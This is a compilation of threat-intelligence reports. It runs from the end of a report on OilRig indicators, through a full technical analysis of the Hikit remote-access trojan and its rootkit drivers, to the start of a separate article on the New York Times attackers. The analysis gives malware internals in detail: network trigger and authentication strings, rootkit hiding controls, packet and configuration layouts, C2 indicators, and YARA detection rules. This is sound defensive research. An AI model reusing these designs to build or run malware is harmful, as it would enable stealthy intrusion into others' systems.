In other incidents the attackers used the following files: Special Offers.xls / Salary Employee 2016.xls f76443385fef159e6b73ad6bf7f086d6 pic.xls 3a5fcba80c1fd685c4b5085d9d474118 7/9 People List.xls bd7d2efdb2a0f352c4b74f2b82e3c7bc cv.xls 72e046753f0496140b4aa389aee2e300 users.xls 262bc259682cb48ce66a80dcc9a5d587 Employee Engagement Survey.xls 726175e9aba421aa0f96cfc005664302 JuniperSetupClientInstaller.exe f8ce7e356e09de6a48dca9e51421b6f6 Project_Domain_No337.chm 1792cdd0c5397ff5df445d73276d1a50 (undetected as malicious by any antivirus on VirusTotal ) gcaa_report_series15561.chm d50ab63f4034c6f5eb356e3326320e66 (undetected as malicious by any antivirus on VirusTotal ) Infrastructure overlap with Cadelle and Chafer In December 2015, Symantec published a post about two Iran-based attack groups that appear to be connected, Cadelle and Chafer that  have been using Backdoor.
Cadelspy and Backdoor.
Remexi to spy on Iranian individuals and Middle Eastern organizations.
Backdoor.
Remexi, one of the malware in use by Chafer, had the following  command and control host: 87pqxz159.dockerjsbin[.
]com Interestingly, IP address  83.142.230.138, which serve as a command and control address for an OilRig related sample (3a5fcba80c1fd685c4b5085d9d474118), was pointed to by 87pqxz159.dockerjsbin[.
]com as well.
This suggest that the two groups may actually be the same entity, or that they share resources in one why or another.
Indicators of compromise Indicators file: oilrig-indicators.csv (also available on PassiveTotal) The graph below depicts the OilRig infrastructure (click to enlarge): 8/9 https://www.virustotal.com/en/file/8cb80ac1f955bac9ccf67e843ddc15322b4aa70e8c98269a8a98a02df4cbd8b7/analysis/ https://www.virustotal.com/en/file/172b407b28dff5b2f1110545758f15185668c305b0b371c02c8870770f4f7e7a/analysis/ https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets http://www.clearskysec.com/wp-content/uploads/2017/01/oilrig-indicators.csv https://www.passivetotal.org/projects/235a517a-ebb9-9293-ce0a-9ae630e32c98 Acknowledgments This research was facilitated by PassiveTotal for threat infrastructure analysis, and by MalNet for malware research .
We would like to thank White-Hat, Tom Lancaster of Palo Alto Networks, Michael Yip of Stroz Friedberg, security researcher Marcus, and other security researchers and organizations who shared information and provided feedback.
9/9 https://www.passivetotal.org/ https://shadowdragon.io/ http://white-hat.co.il/ https://www.paloaltonetworks.com/ https://www.strozfriedberg.com/ Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford FakeVPN Web Portal Digitally signed malware University of Oxford impersonation Other incidents Infrastructure overlap with Cadelle and Chafer Indicators of compromise Acknowledgments
Hikit Analysis Basic Description Hikit consists of at least two generations of malware that provides basic RAT functionality.
The first generation of Hikit (referred to as Gen 1) operates as a server and requires an externally exposed network interface in order for an attacker to access the victim machine.
The second generation of Hikit (referred to as Gen 2) uses the more traditional client model and beacons out to an attackers C2 server.
While the communication models shifted dramatically between Gen 1 and Gen 2, both generations of Hikit retain the same basic RAT function consisting of remote command shell, file management, network proxy and port forwarding.
Both Gen 1 and Gen 2 sub-families of Hikit consist of a main DLL (referred to as the DLL) that contains the RAT functionality a kernel driver (referred to as the Driver) with Gen 2 also employs an additional component: a loader executable.
The driver component of Gen 1 and Gen 2 are drastically different in their operation and intent.
For the Gen 1 sub-family of Hikit, the driver acts as a NDIS (network) driver that  is responsible for interfacing the DLL to the network while preventing a direct WinSock interface from occurring.
The Gen 1 Driver listens to network traffic arriving at the local network interface and waits for a specific trigger string.
The trigger string varies by Driver and DLL sample.
The Gen 2 Driver is a simpler system driver that acts as a rootkit to hide processes, registry keys and network connections associated with Gen 2 activity on the victims system.
Gen 2 uses a standard client-server malware model meaning that the malware no longer requires a direct Internet-facing network card, no longer uses a network driver for networking, and provides the ability to network multiple Gen 2 samples behind a firewall with greater ease (from the attackers perspective).
The Gen 2 sub-family, however, no longer employs network stealth provided by the Gen 1 network driver which exposes the C2 server addresses to analysts.
Each of the Hikit generations contains multiple sub-generations as the author(s) of Hikit have evolved their code over time.
There is a noticeable steep improvement over the code base of Gen 1 Hikit family during its 2011 development period.
The Gen 2 sub-generations share a similar improvement scale between late 2011 and late 2013.
Evolution The earliest known Hikit sample dates back to 31 March 2011.
Known as the Gen 1.0 sub-generation of Hikit Gen 1, the first known sample of Hikit deviated from the later traditional Gen 1 model.
The Gen 1.0 sample was a standalone executable whereas subsequent Gen 1 sub-generations use a DLL running as a service.
The Gen 1.0 sample is clearly a work-in-progress.
The Gen 1.0 sample, while different than subsequent sub-generations, does still rely on the Driver component and for the most part the structure of the code does not differ much going forward into the Gen 1 evolution.
Less than three weeks after Gen 1.0, the author(s) of Hikit move into Gen 1.1.
The notable change is that the Hikit model of using a DLL and driver, which has remained until present day, comes into being.
The code matures slightly between Gen 1.0 and Gen 1.1 but the functionality does not change.
Both Gen 1.0 and Gen 1.1 use plaintext data transmissions.
Development appears to halt on Gen 1 for 4 months between 20 June 2011 and 23 October 2011 based on a lack of available samples found.
During this time the development of Hikit appears to change locations.
Gen 1 samples have Program Database (PDB) file strings that identify the file path of the Hikit source code.
For Gen 1.0 and Gen 1.1 samples, the file path of the Hikit source code is consistently h:\JmVodServer\hikit.
Starting with Gen 1.2, the file path switches to e:\SourceCode\hikit_new.
It is at this time that the functionality of Hikit Gen 1 begins to mature.
In Gen 1.2, the communication between the infected machine and the attacker is encrypted using an XOR mask.
A more subtle change is the renaming of the socks5 command to simply proxy within the code.
The code within Hikit begins to mature but the overall functionality does not expand beyond the original set of commands found in Gen 1.0.
The other remarkable change within the Gen 1.1 to Gen 1.2 development is the way in which the session handshake trigger operates.
In Gen 1.0 and Gen 1.1, the DLL instructs the Driver to listen for a specific string (typically a HTTP request string) and responds with another string.
In Gen 1.2, the Driver has a hardcoded trigger string (a specific HTTP request string) and the DLL instructs the Driver to inspect a specific HTTP header field for a specific hexadecimal value.
This moves Gen 1.2 into more of a username/password authentication scheme whereas previous sub-generations could potentially be accessed by accidental HTTP requests.
At the same time, the Driver responds with a specific value with in the Etag HTTP header field.
This places Gen 1.2 into a more stealth position as a random, non-HTTP compliant response from Gen 1.0 and Gen 1.1 samples is more obvious than a legitimate HTTP response with a specially crafted Etag header.
Gen 1.2s development cycle appears to exist between 23 October 2011 and 2 November 2011 with several new samples being found on the Internet having legitimate compile times during this time window.
There is, however, evidence that the development of Hikit Gen 1 and Gen 2 overlap by several months.
The earliest Gen 2 sample known to exist dates to 28 August 2011, two months before the first known Gen 1.2 sample.
The last known Gen 1.2 sample, and by extension, the last known Gen 1 sample, dates to 9 April 2012.
The first known Gen 2 sub-generation, Gen 2.0 Alpha, much like Gen 1.0, represents an early development version of the Gen 2 Hikit sub-family.
Gen 2.0 Alpha is a stand-alone Windows console executable that can run as a service executable.
Gen 2.0 Alpha supports the same commands as Gen 1.2 with an additional command that returns the infections configuration information.
On 9 February 2012 the first known sample for Gen 2.0 Beta is compiled by the developer(s) of Hikit.
Also a stand-alone console executable like Gen 2.0 Alpha, the Gen 2.0 Beta code changes internally without providing significant functionality improvements with the exception of now the executable uses a device driver to hide network, file, and registry artifacts related to its operation.
Both Gen 2.0 Alpha and Gen 2.0 Beta still retain PDB file path information within their binaries.
During the development phase of Gen 2.0 Alpha, development of the Gen 2.0 Alpha variants changes locations.
First version of the Gen 2.0 Alpha malware, from 28 August 2011, has the PDB path located in H:\JmVodServer\Matrix_new2 whereas the file path for later Gen 2.0 Alpha and Gen 2.0 Beta binaries has the PDB path in E:\SourceCode\Matrix_new which suggests that the source code for both Gen 1 and Gen 2 existed on the same machine and moved at roughly the same time.
This may indicate either a single developer or a team (or set of teams) with shared resources.
The first known Gen 2.1 binary has a compile date of 17 April 2012.
Gen 2.1 represents the first Gen 2 sub-generation to use an executable-based loader, DLL and driver model, a model that all subsequent Gen 2 sub-generations employ.
The functionality of the Gen 2.1 sub-generation is the same as the previous generations with no new commands being introduced.
Gen 2.1 is the first sub-generation in the Gen 2 sub-family to introduce 64-bit binaries.
The Gen 2.2 sub-generation appears to have begun on 20 July 2012.
Gen 2.2 is notable for altering where the configuration information of the RAT is stored and using both DLL-based and executable- based loaders.
Also notable is the fact that the sub-generation spans a significant amount of time with intermittent periods of development.
The bulk of the Gen 2.2 samples that have the tell-tale marks of being the product of a builder have a compile date of 26 July 2013, a full year after the first known Gen 2.2 sample.
Between 21 July 2012 and 20 February 2013, there are no known Gen 2.2 binaries.
The two 20 July 2012 samples have different compile times indicating they were not the product of a builder but rather unique compilations.
Between 21 February 2013 and 27 February 2013, there are 4 unique compilation dates for the DLL component with 7 unique, known Gen 2.2 DLLs.
The bulk of Gen 2.2 samples have a compile date of 26 July 2013.
There are approximately 25 known Gen 2.2 DLLs with the 26 July 2013 compile date.
The Gen 2.2 sub-generation appears to exist through at least 19 September 2013.
The last known Gen 2 sub-generation, Gen 2.3, began on 12 December 2013.
Gen 2.3 is notable for its use of a legitimate SSL certificate as part of the handshake between the infected machine and the attackers C2.
The DLL will send a legitimate SSL certificate as a means to disrupt heuristic IDS sensors that look for encrypted traffic.
Another interesting aspect of the Gen 2.3 sub-generation is that there is no longer a marker to designate the beginning of the embedded configuration.
Gen 2.1 and Gen 2.2 uses a specific string to indicate the beginning of the embedded configuration presumably in order to allow the builder to locate the configuration space when constructing a new configuration for the binaries.
Gen 2.3, however, uses a specific location instead, requiring the builder to calculate the specific location using the PE/COFF header of the binary.
Also, while Gen 2.1 and Gen 2.2 retain the configuration within the DLL component, Gen 2.3 stores the configuration within the loader component.
This allows the attackers to configure the loader without having to update the DLL.
The evolution of Hikit is a long and drawn out series of small, incremental development changes.
The important take away from the evolution of Hikit is that the developers for Gen 1 appear to have changed in late 2011 and development of Gen 2 has a several month overlap with the development and usage of Gen 1.
The following table provides a quick reference to the generational (and sub-generational) designations of Hikit.
Timeline Outlined in Appendix A: HiKit Versions The Driver The Driver component for Hikit varies based on the specific Hikit sub-family (Gen 1 or Gen 2).
As such it is necessary to describe each in the context of its specific sub-family.
Gen 1 Driver The Driver component of Gen 1 Hikit variants provides the interface between the victims network interface card (NIC) and the DLL.
The Driver is a NDIS (network) driver that integrates into the victims network stack.
The Driver intercepts any and all network communication that traverses the Windows network stack and potentially removes the data from the network stack under very specific conditions.
When the Driver removes data from the network stack, the Driver stores the removed data in local buffers for the Gen 1 DLL to query against.
The purpose of this behavior is to allow the DLL to interact with the network without utilizes the WinSock API which could potentially reveal the presence of Hikit.
In order to interact with the Driver, the DLL uses the function IoDeviceControl to send commands to the Driver.
The Driver registers itself at both \Device\w7fw and \DosDevices\w7fw thereby allowing the DLL to access the Driver by performing a CreateFile request to \\.\w7fw or \\.\Globals\w7fw in order to obtain a handle to the Driver.
The Drivers interface supports the following OIDs: August 28, 2011 OID Function 0x12C828 No-op 0x12C82C Retrieves bytes from the recv queue.
0x12C830 Add bytes to the xmit queue.
0x12C838 Set key value (the trigger value) 0x12C840 Change mode for current processs channel to 2 0x12C844 Activates channel 0x12C848 Shuts down a channel by flushing all queued packets/data to the network with ACKFIN set in the flags 0x12C84C Returns the current mode for a given channel 0x12C850 Get the Drivers version The Driver will remove data from the network stack only if a new channel is being established.
A new channel occurs when the Driver detects a trigger string.
The trigger string is typically a short form HTTP request with the following trigger strings found in the wild: Generation(s) Trigger String Authentication Value Response Value Gen 1.0, 1.1 GET /password HTTP/1.1\r\n\r\n .welcome.
Gen 1.2 GET / HTTP/1.1\r\n 75BCD15 HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html ETag: other digits75BCD15other digits:3 hex digits Connection: Keep-Alive Gen 1.2 POST / HTTP/1.1\r\n 75BCD15 HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html ETag: other digits75BCD15other digits:3 hex digits Connection: Keep-Alive Up to and including Gen 1.1 Drivers required the DLL to specify the trigger string in addition to the authentication value whereas Gen 1.2 Drivers had the trigger strings hardcoded.
In Gen 1.2, whenever the Driver detects a trigger string, the Driver inspects the rest of the data received for the authentication value.
If the token follows the trigger string (there is no specific limitation on how far from the trigger string the password token must be), then the Driver generates a new channel that the DLL will use as the conduit between the DLL and the client.
The Driver appears to be based off the NDIS example source code PassThru.
More specifically, the author(s) of the Driver appear to have used the modified version of the PassThru example, PassThruEx, by James Antognini and Thomas Devine from a 2003 blog post1.
Gen 2 Driver The Gen 2 sub-family, beginning with Gen 2.0 Beta, employs a Windows device driver (the Driver) to hide aspects of the DLLs functionality from normal system processes.
The Driver is a relatively straightforward piece of software.
It does not attempt to obfuscate its functionality from static analysis and it hooks a minimum number of kernel API functions in order to hide different pieces of information.
The Driver is based primarily on the open source Agony rootkit2 and it has evidence of some portions of the code coming directly from a Chinese blog3.
The Driver expose an IOCTL interface that supports the following OIDs: OID Function 0x22C000 Add driver (system module) to hide.
0x22C004 Reveal all hidden items.
0x22C008 Add IP:Port endpoint to hide.
0x22E000 No-Op 0x22FFD0 Remove PID from hidden list.
0x22FFD4 Add PID to list of PIDs to hide.
0x22FFD8 Add service to list of services to hide.
0x22FFE0 Add local port to list of ports to hide.
0x22FFE4 Currently unused.
Evidence suggest this was previously a port hiding function, but it is no longer functional.
0x22FFE8 Currently unused.
It is unclear the purpose of this function.
It takes a string as its argument.
0x22FFEC Add directory to list of directories to hide.
0x22FFF0 Add registry key to list of registry keys to hide.
0x22FFF4 Add registry key value to list of registry values to hide.
0x22FFFC Purge all hooks and hidden items (unhook) The Driver is capable of hiding processes (by PID, not name), system modules, services, network connections, listening ports, directories (and by extension, files), as well as registry keys and values.
In order to hide these items, the Driver hooks various Windows Kernel API calls.
The following table maps the items the Driver can hide to the API function that the Driver hooks: Item API Function Hooked Process ID (PID) ZwDeviceIoControlFile Registry Key ZwEnumerateKey Registry Value ZwEnumerateValueKey Directory QueryDirectoryFile 1 James Antognini and Thomas F. Divine.
Extending the Microsoft PassThru NDIS Intermediate DriverParts: Two IP Address Blocking NDIS IM Drivers.
December 15, 2003 2 pudn.
Agony Rootkit code, the stability and can be useful Driver Develop.
http://en.pudn.com/downloads74/sourcecode/windows/vxd/detail265112_en.html.
8 April 2007.
3 CardMagic.
[
Reserved] NSI Module Hook: Hiding Port Under Windows Vista.
http://forum.eviloctal.com/archiver/tid- 29604.html.
8 July 2007.
Item API Function Hooked Local Listening Port ZwDeviceIoControlFile Remote Endpoint ZwDeviceIoControlFile Loaded Drivers ZwQuerySystemInformation In order to hide services, the Driver will access the memory of the services.exe process, locate the linked list of services and remove the service entry that the Driver wishes to hide.
This is a surprisingly invasive method to obfuscate a process.
Upon activation, the Driver will expose its interface by calling IoCreateDevice with the name \Device\agony (for Gen 2.0 Beta samples), \Device\HTTPS (for Gen 2.1 samples), \Device\advcachemgr (for Gen 2.2 samples) or \Device\diskdump (for Gen 2.3 samples).
The Driver also creates a symbolic link to the device using the same name but under the \DosDevices\ tree.
For reasons unknown, the authors of the Driver used code from a Chinese blog that details how to hide network connections on Windows Vista and later decided to keep the example IP address within the code.
Functionality and Commands The Hikit family has supported roughly the same set of commands since the first known samples of Gen 1.0.
Gen 2.0 introduced a single command to provide insight into an infected machines Hikit configuration (something that is not necessary for Gen 1 variants since they are server-based).
The RAT supports the following commands: Command Introduced Description shell Gen 1.0 Establishes a remote command shell on the victim machine file Gen 1.0 File managerment connect Gen 1.0 Establishes a tunnel connection (e.g.
port forwarding) through another Hikit sample socks5 Gen 1.0 Establishes a forwarding proxy (retired in Gen 1.2) proxy Gen 1.2 Establishes a forwarding proxy information Gen 2.0 Alpha Returns the configuration for the Hikit infection exit Gen 1.0 Terminates a channel Command: shell The shell command activates a remote shell on the victims computer.
The remote shell function uses the standard pipe redirection method for interfacing a network application (in this case, the DLL) to a hidden command shell.
Command: file The file command provides an attacker with a variety of disk access options such as listing directories, changing the current directory, and uploading and downloading files.
Command: connect The connect function provides the functionality to allow one Hikit DLL to interface with another DLL of a similar version.
The use of this functionality can best be illustrated by considering the fact that the Gen 1 Driver requires an exposed network interface in order for an external attacker to access the Gen 1s RAT function.
This would prohibit lateral movement within a victims network as the bulk of any organizations network infrastructure is not directly exposed to the Internet.
By using the connect command, an attacker can instruct the externally exposed Gen 1 DLL to route traffic to a Gen 1 DLL that is behind the firewall, effectively making the externally exposed Gen 1 DLL a local router for Hikit traffic.
Command: proxy (Gen 1.2 and later), socks5 (Gen 1.0 and 1.1) The proxy (or socks5) command allows an attacker to utilize a Hikit-infected machine as a proxy.
Command: information Gen 2 samples rely on a configuration in order to know where the C2 server exists along with other operational aspects such as the name of its service and operational times.
This information is important for the attacker to have access to in order to determine if any aspect of the configuration is out of date (thus requiring a new variant of the Gen 2 binary to be configured and deployed).
The information command returns to the attacker the complete configuration and current state of the Gen 2 malware.
Command: exit As the name implies, the exit command causes the DLL to discontinue the current connection.
Hikit Core Analysis With the Gen 1 sub-family using a server model and the Gen 2 sub-family using the client model, understanding how each of the DLL components of the sub-families works is best done, as with the Driver above, in the context of the specific sub-family.
Gen 1 Analysis As noted previously in this report, the Gen 1 sub-family has several sub-generations but overall the functionality of the Gen 1 sub-family has remained constant.
With the exception of Gen 1.0, the functionality of Gen 1 comes from the DLL component (Gen 1.0 uses a stand-alone executable to achieve the same results).
The DLL operates as a service, requiring an attacker is install the DLL as a service at some point prior to activation.
The DLL contains only two exports: DllEntryPoint and DllRegisterServer.
Ultimately, both exports generate a new thread of the same function (mainThread).
The difference between the two exports is that DllRegisterServer can take an optional command line argument of the letter u which will instruct the main thread to uninstall the Gen 1 system from a victims computer.
If the uninstall argument exists, mainThread will simply remove the Driver from the victims machine and terminate.
The authors of Gen 1 used freely available source code found online for their removal function.4 4 PCAUSA.
Programmatically Installing NDIS Protocol Drivers http://www.ndis.com/ndis- general/ndisinstall/programinstall.htm.
2 December 2013.
When the DLL activates, either by a call to DllEntryPoint or by calling DllRegisterServer without the u parameter, mainThread begins by verifying the version of the Driver installed on the victims machine.
This requires sending OID 0x12C850 to the Driver and comparing the resulting 32-bit value with the required driver version.
If the version is incorrect (i.e.
it doesnt match the specified version), the DLL installs the version of the Driver found within the DLLs resource section (under the BIN resource tree).
With the Driver version verified (or forcibly corrected by installing the appropriate Driver), the DLL will instruct the Driver to use a specified string (for Gen 1.0 and Gen 1.1 samples) or a DWORD (for Gen 1.2 samples) as the acknowledgment value to send to a connecting client who requests the appropriate URL.
The DLL again checks the version of the Driver and, in some versions of the DLL, will print a message indicating the version of the Driver installed and report the Transate version (the word translate is misspelled within the binary).
It appears that the Driver and the communication protocol version do not necessarily have to match exactly, allowing the possibility that the Driver and the DLL could be compiled at separate times.
If the Driver version is less than the Transate version (indicating that the Driver is a version too old to support the necessary communication protocols), the DLL will, in some version of the DLL, print out a line to the screen indicating the DRIVER_MIN_VERSION required along with the current Driver version.
Following this, the DLL will then attempt to install the correct version of the Driver prior to terminating.
It is unclear why this code exists given that the DLL will check the Driver version and correct the Driver if necessary prior to reaching the portion of the code that reports the DRIVER_MIN_VERSION.
It is possible that the second Driver version check is a last ditch effort to ensure the correct Driver is installed.
The DLL enters an infinite loop where the DLL waits for the Driver to report a new channel exists.
A channel represents an established connection between the Driver and an external party that has provided the proper initial request and, for Gen 1.2 variants, provided the proper authentication value.
When the Driver establishes a new channel, the DLL generates a runtime data structure before generating a new thread (HikitThreadFunc) which will service any request coming from the new channel.
This allows the DLL to service multiple channels at one time.
The HikitThreadFunc function is, at its core, a simple wait and respond loop.
The function begins by transmitting a Hikit command prompt to the client (Hikit) before settling into an infinite loop of Read data from channel (wait until data is available) [For Gen 1.2] Decrypt the packet header Verify the packet header to ensure the communication version is correct and the payload data size is non-zero Read the remainder of the packet (e.g.
the payload portion) If the packet type field (dwPacketType) is zero, send the payload section to the command processor.
Send the Hikit prompt The communication scheme between the DLL and the client consists of a 20 to 24 byte header (for Gen 1.0 and Gen 1.1) or a 28 byte header (for Gen 1.2) followed by an optional payload.
The format of the Gen 1.0 and Gen 1.1 header is as follows: struct PacketHeader  char magic[5] char zeros[3] DWORD dwHikitVersion DWORD dwCmdType DWORD dwLocale // omitted in some Gen 1.0 variants DWORD dwPayloadSize  While the Gen 1.2 header is: struct PacketHeader  DWORD key DWORD dwHikitVersion DWORD dwPacketType DWORD dwLocale DWORD dwCodePage DWORD dwPayloadSize  For Gen 1.0 and Gen 1.1 samples, the magic field contains the string .. .. (two dots followed by a space then two more dots).
Whereas the key field in Gen 1.2 samples contains a 32-bit value that represents the XOR key for the remainder of the PacketHeader and any additional payload data.
The XOR scheme works on 32-bit chunks of data where each 32-bit chunk of data is XORd against the key value.
Version checking is important in all Gen 1 variants.
The dwHikitVersion field allows the client and the DLL to ensure that they have a compatible communication scheme in place prior to executing commands.
Gen 1 samples have a particular interest in the victims locale language preferences.
While it is typical for most RATs that provide remote shells to simply pass data unfiltered from client to server and server to client without regard to code pages, Gen 1 samples take special care to record the code page and locale information in each and every packet header that traverses the divide between client and server and server and client.
This could indicate that the authors of Gen 1 understood from an early stage in the development of Gen 1 that they would be attacking computer systems with different locales and code pages.
Gen 2 Analysis The Gen 2 sub-family, like Gen 1.2, uses a DLL for the core of its RAT functionality.
In order for the DLL to load, Gen 2 (starting with Gen 2.1) uses a loader application (referred to simply as the Loader).
The Loader comes in the form of a standard executable image or a DLL image.
Despite the different models, both variants of the Loader load the embedded DLL in the exact same way.
The only difference between the executable and DLL versions of the Loader comes in how they handle the initialization of the embedded DLL.
Figure 1: DLL (left) and executable (right) Loader startup routines Figure 1 provides a side by side comparison of the startup routines for the executable and DLL Loaders.
Both versions of the Loader begin by loading the embedded DLL from the Loaders resources (item 102 under the Group Icons resource tree), decrypting and decompressing the image into memory, then manually loading the DLL into memory using a custom loading routine.
The function LoadEmbeddedImage, as seen in part in Figure 2, is responsible for this operation.
Figure 2: LoadEmbeddedImage function snippet The Loader obfuscates many strings by using a simple XOR encoding scheme.
Decryption of encoded strings consists of taking the first value of the string as the XOR key, XORing all subsequent bytes until the result of the XOR returns 0.
The decoding of the encoded strings is handled by the DecodeString function.
The Loader stores the embedded DLL within a Group Icon resource within a legitimate icon image.
In order to locate the embedded DLL, LoadEmbeddedImage will use the DecodeString function to decrypt the delimiter string (which is typically zzzzzzzzzz or yyyyyyyyyy) and then search the icons resource memory for the delimiter string.
Once located, LoadEmbeddedImage will use the first 12 bytes immediately after the string as the information structure about the embedded DLL.
The structure (seen below) defines the size of the embedded DLL within the icons resource memory, the size of the DLL after it is decompressed and a 4-byte XOR key that LoadEmbeddedImage must use to decode the embedded DLL prior to decompression.
struct ImageHeader  DWORD dwImageEncodedSize DWORD dwImageSizeDecompressed DWORD EncodingKey  LoadEmbeddedImage copies the compressed embedded DLL into a newly allocated heap buffer and then calls the function decodeBuffer (using the EncodingKey value) to decrypt the embedded DLL.
Another heap buffer is allocated with a size equal to the value of dwImageSizeDecompressed.
The decompression buffer along with the now decoded compressed buffer are given to lzo_decompress which decompresses the compressed image using the LZO1X algorithm5.
With the embedded DLL now decompressed into a heap buffer, LoadEmbeddedImage calls ImageLoaderData::LoadDll to manually load the DLL into memory.
ImageLoaderData::LoadDll interprets the PE/COFF header of the DLL image, loads the image into the appropriate memory configuration, performs the necessary relocation operations, and calls the DllMain (DLLs entry point) function.
After loading the embedded DLL image into memory, the Loader will either call the DLLs StartServer or MatrixMain function depending on the type of Loader.
The standalone Loaders use the MatrixMain function while the DLL Loaders will call the StartServer function.
The Loaders, upon unloading, will call the StopServer function in order to shut down the embedded DLL.
The Gen 2 DLL exposes five exported functions (besides the DllEntryPoint/DllMain).
Export Name Description DllRegisterServer If the Gen 2 RAT is running, waits for the RAT to shut down before returning.
MatrixMain Activates the Gen 2 RAT (called from a stand-alone Loader) SetModuleHandle The given parameter becomes the new module handle for the RAT.
StartServer Activates the Gen 2 RAT (called from a DLL Loader) StopServer Stops the Gen 2 RAT (called from a DLL Loader) MatrixMain and StartServer both ultimately generate a new thread (using the POSIX API function beginthreadex instead of the more common CreateThread) that contains the main loop of the Gen 2 RAT functionality.
MatrixMain, however, has added functionality.
The prototype for MatrixMain is as follows: int MatrixMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)) 5 Markus F.X.J.
Oberhumer, LZO real-time data compression library http://www.oberhumer.com/opensource/lzo/.
29 June 2014.
where Arguments parameter can be: Arguments string Purpose test DWORD identifier (IP?)
listening Port [C2 address] [C2 port] Overrides the current configuration with the given settings.
The C2 arguments are optional.
i Installs trojan service u Uninstalls the trojan service s Sets the SHOW flag for the service to instruct the Driver to reveal the service.
h Sets the HIDE flag for the service to instruct the Driver to hide the service.
q Sets the STOP flag for the RAT.
If the i parameter is given, the DLL will install itself as a service on the victims machine.
The DLL will create a new service (e.g.
Network DDE Service) and assign itself as the executable for the service.
The DLLs RAT functionality provides basic features such as network port forwarding (proxying), file transfer, and remote command shell.
The RAT functionality provides an attacker with the ability to establish a phantom network within a victims infrastructure by having individual instances of Gen 2 DLL listen for incoming connections on local ports (presumably, NATd ports) and accept commands from the inbound connection.
This allows an attacker to establish several Gen2 infections within a victims infrastructure and if outbound connectivity is prohibited for any of the infected machines, the attacker can route commands to the pseudo-isolated infections through accessible infected machines providing a high level of persistence to the malware.
Each Gen 2 infection can support up to 10 listening ports.
The communication between the Gen 2 malware and the C2 (or other Gen 2 malware, in the case of the internal routing functionality) is encrypted using a simple DWORD XOR scheme.
Each communication burst (either between the malware and the C2 or the malware and neighboring malware) begins with a 24-byte header identical to the header found in Gen 1.2.
Immediately following the header is the type-specific (as indicated by the dwPayloadType field) payload data.
Note that the dwXORKey value is NOT encoded with the XOR value, but rather is the value that is used for encoding the header and payload.
Each DLL includes a hardcoded, default configuration.
At the time that the RAT functionality activates, the DLL will drop the current configuration to disk.
If the configuration file already exists, then the RAT will use the file version of the configuration over the default configuration.
The configuration data structure (seen below) doubles as a current state record for some aspects of the communication subsystem of the DLL.
When stored on disk, the configuration is preceded by a GUID value (16 bytes) that represents the unique identifier for the specific infection.
The configuration is XOR encoded using the first 4 bytes (as a DWORD) of the GUID.
struct Config  WCHAR wszComment[32] C2ConfigInfo arrC2s[2] ListeningPortConfig ListeningPorts[10] int dwStartTime int dwEndTime __int16 Flags SYSTEMTIME sleepUntil __int16 unused_align2_2 int fRunHidden  struct C2ConfigInfo  WCHAR wszAddress[32] __int16 wPort __int16 unused_align2 int fValidC2  struct ListeningPortConfig  unsigned __int16 wPort unsigned __int16 unused_align2 int fReady SOCKET hSocket HANDLE hEvent HANDLE hListenerThread  In order to provide some level of stealth, the RAT will install a rootkit on 32-bit versions of Windows.
The DLL contains a device driver image embedded within an encoded buffer which the RAT functionality code will extract to the TEMP directory (after XORing the buffer with 0x76).
To activate the rootkit, the RAT functionality code creates a service with the driver in the TEMP directory as the executable for the service.
The RAT functionality code then activates the service and opens a handle to device drivers interface (e.g.
\Globals\HTTPS).
With the handle open to the rootkit driver, the RAT functionality code deletes the service in order to reduce the visible footprint of the new driver.
To further reduce the footprint of the driver, the RAT functionality code also uses the cloaking functionality of the rootkit to hide the DLLs PID, any references to the GUID 4AE26357-79A3-466D-A6D9- FC38BFB67DEA, the DLLs service names (e.g.
NetDDESrv and Network DDE Service) and the service entry as well.
Additionally, the code also attempts to hide a service named Hitx.
Support Software In addition to the main Hikit malware, there are at least two examples of support programs that belong to the Hikit family.
Samples b04de6c417b6f8836e3f2d8822be2e68f4f9722b and 7c4da9deff3e5c7611b9e1bd67d0e74aa7d2d0f6 are examples of Gen 1.0 and Gen 1.2 operator consoles.
The console is a text based application that takes a Gen 1.0 or Gen 1.2 infections IP address and proceeds to connect and authenticate with the infected server.
Once connected, the operator has the basic Hikit functionalities available to them via commands such as file and shell.
Detection Detecting Hikit variants on disk and in memory is possible using the following YARA signature developed by Symantec: rule hikit  strings: hikit_pdb1  /(Hh)ikit_/ hikit_pdb2  hikit\\ hikit_str3  hikit wide driver  w7fw.sys wide device  \\Device\\w7fw wide global  Global\\s__HIDE__ wide nocase backdr  backdoor closed wide hidden  Hidden: wide condition: (1 of (hikit_pdb1,hikit_pdb2,hikit_str3)) and (driver or device or global or backdr or hidden)  rule hikit2  strings: magic1  8C 24 24 43 2B 2B 22 13 13 13 00 magic2  8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05 00 condition: magic1 and magic2  rule hidkit  strings: a  ---HIDE b  hide---port  d condition: uint16(0)0x5A4D and uint32(uint32(0x3c))0x00004550 and a and b  Detecting nominal Gen 1.2 and later network activity is problematic given the nature of the communication structure.
The encrypted nature of the nominal Gen 1.2 and later network traffic makes a signature difficult.
Snort signature 30948 may detect some Hikit based network traffic for only Gen 1.0 and Gen 1.1.
From a system objects perspective, Gen 2 samples produce up to three named events.
The event names change per infection, but have a common format.
The following three strings represent the known mutex strings for Gen 2 samples: Global\s__SHOW__ Global\s__HIDE__ Global\s__STOP__ where the s format variable is replaced with a UUID value string specific to the infected machine.
Appendix A: HiKit Versions Generation Identifier Starting Date Notable Features Gen 1.0 31 March 2011 First known Hikit samples.
Stand-alone console executable.
Gen 1.1 18 April 2011 Uses DLL and driver model.
Gen 2.0 Alpha 28 August 2011 First client-based Hikit variants.
Stand-alone console executable.
Does not use a device driver.
Encrypted communication.
Gen 1.2 23 October 2011 Command socks5 changes to proxy.
Encrypted communication.
Gen 2.0 Beta 27 February 2012 Introduces the use of the device driver.
Gen 2.1 17 April, 2012 First known production variant of the Gen 2 family.
Uses the concept of the Loader, the DLL and the Driver as a complete system.
Gen 2.2 21 February 2013 Changes storage location for configuration file.
Largely similar to Gen 2.1.
DLL-based and executable-based loaders.
Largest in-service time span.
Gen 2.3 12 December 2013 Significantly more advanced authentication when doing intra- malware communication.
Use of SSL certificate during handshake.
Survival of the Fittest: New York Times Attackers Evolve Quickly The attackers behind the breach of the New York Times computer network late last year appear to be mounting fresh assaults that leverage new and improved versions of malware.
